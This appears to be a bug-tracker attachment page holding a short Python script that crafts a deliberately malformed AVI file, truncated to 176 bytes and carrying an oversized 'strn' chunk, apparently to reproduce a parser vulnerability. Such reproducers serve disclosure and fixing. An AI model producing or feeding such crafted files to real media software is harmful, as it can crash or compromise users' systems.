New issue
Advanced search Search tips

Issue 1221 attachment: strh.py (706 bytes)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#! /usr/bin/python

import struct

def zero(size):
return '\x00' * size

def pack(integer):
return struct.pack('<I', integer)

def chunk(tag, data):
pad = ''
if len(data) % 2 != 0:
pad = 'X'
return tag + pack(len(data)) + data + pad

def LIST(tag, items):
return chunk('LIST', tag + items)

def main():

strl = chunk('strh', 'auds' + zero(52))
strl += chunk('strf', zero(40))
strl += chunk('strn', '########' + ('\x00' * 0x240))

hdrl = chunk('avih', zero(24) + pack(64) + zero(28))
hdrl += LIST('strl', strl)

avi = chunk('RIFF', 'AVI ' + LIST('hdrl', hdrl))

avi = avi[:176]

with open('test_file', 'w') as tmp:
tmp.write(avi)

if __name__ == '__main__':
main()